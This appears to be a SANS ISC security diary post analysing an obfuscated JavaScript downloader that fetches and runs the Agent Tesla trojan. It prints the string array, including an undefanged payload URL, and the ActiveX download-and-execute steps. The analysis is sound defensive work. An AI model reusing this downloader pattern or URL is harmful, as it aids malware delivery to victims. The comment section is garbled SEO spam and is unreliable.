JavaScript Downloader Delivers Agent Tesla Trojan

Published: 2021-11-18
Last Updated: 2021-11-18 07:46:37 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

Yesterday I spotted a piece of JavaScript script that delivers Agent Tesla[1]. New waves of this information stealer trojan are regularly spread to victims. PE files are delivered through downloader scripts attached to phishing emails. Those scripts are regularly updated and the one I found yesterday was interesting. The file was delivered as a 7z archive pretending to content a product catalog. Inside the archive, there was a JavaScript called "Product Specification #87305.js" (SHA256:2c15a96371122649e0c47c4e1af2eff14860a7d8fafc6f71267ea5035d5d4201). The file has a current VT score of 15/55[2].

The file is nicely obfuscated but strings remain readable. Obfuscation techniques have two goals: 

  • Make the malware analyst job more difficult (and prevent the human eye to spot interesting information just by having a look at the code)
  • Defeat security controls in place (IDS, YARA rules, and all types of scanners)

In this case, obfuscation has been used for the second goal. Indeed strings remain readable:

remnux@remnux:/MalwareZoo/20211117$ grep -Eo "https://[^ >']+" Product\ Specification\ #87305.js 
hxxps://omno[.]ai/west/Gbl5ZmISI7qD9Aw.exe

The script is a one-liner but easy to beautify. The most interesting line is this one:

var _0xa4fe8b = [
 'Write','ResponseBody','/Downloader.exe','7219660HUvMZx','1726612MrOKnM','Open','send','WScript.Shell', \
 'Position','open','160894RIiqRQ','8coaNbK','558ryteMc','385460ubOOJO','3TcAywk','CreateObject', \
 '4403030JpxZdM','GET','7228980JDcfGe','Type','Scripting.FileSystemObject','SaveToFile','Close', \
 'https://omno.ai/west/Gbl5ZmISI7qD9Aw.exe','9813808DTZQni'
];

This array is used with the function _0x4fccd5() as seen in this example:

var WshShell=WScript['CreateObject']('WScript.Shell'), \
  filepath=WshShell['ExpandEnvironmentStrings']('%TEMP%')+_0x4fccd5(0x124), \
  url=_0x4fccd5(0x139), \
  xhr=new ActiveXObject('MSXML2.XMLHTTP');

To make the analysis more difficult, the function is aliased to another one (that's why I like JavaScript!):

function _0x2f7e(_0x57e24e,_0x597446)
{
  var _0x248d35=_0x248d();
  return _0x2f7e=function(_0x2f7e14,_0x486218)
  {
     _0x2f7e14=_0x2f7e14-0x124;
     var _0x38ca6a=_0x248d35[_0x2f7e14];
     return _0x38ca6a;
  },
  _0x2f7e(_0x57e24e,_0x597446);
}

var _0x4fccd5=_0x2f7e;

The index of the array to use is specified in hexadecimal (Ex: "0x124") and corrected to access the right element.

The script uses the classic ActiveX objects: 'MSXML2.XMLHTTP' to download the file, 'ADODB.Stream' to dump it on the file system and 'WScript.Shell' to execute it.

[1] https://attack.mitre.org/software/S0331/
[2] https://www.virustotal.com/gui/file/2c15a96371122649e0c47c4e1af2eff14860a7d8fafc6f71267ea5035d5d4201/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 comment(s)
ISC Stormcast For Thursday, November 18th, 2021 https://isc.sans.edu/podcastdetail.html?id=7762

Comments

What's this all about ..?
password reveal .
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure:

<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.

<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
https://thehomestore.com.pk/
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
https://defineprogramming.com/
https://defineprogramming.com/
Enter comment here... a fake TeamViewer page, and that page led to a different type of malware. This week's infection involved a downloaded JavaScript (.js) file that led to Microsoft Installer packages (.msi files) containing other script that used free or open source programs.
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
Enter corthrthmment here...

Diary Archives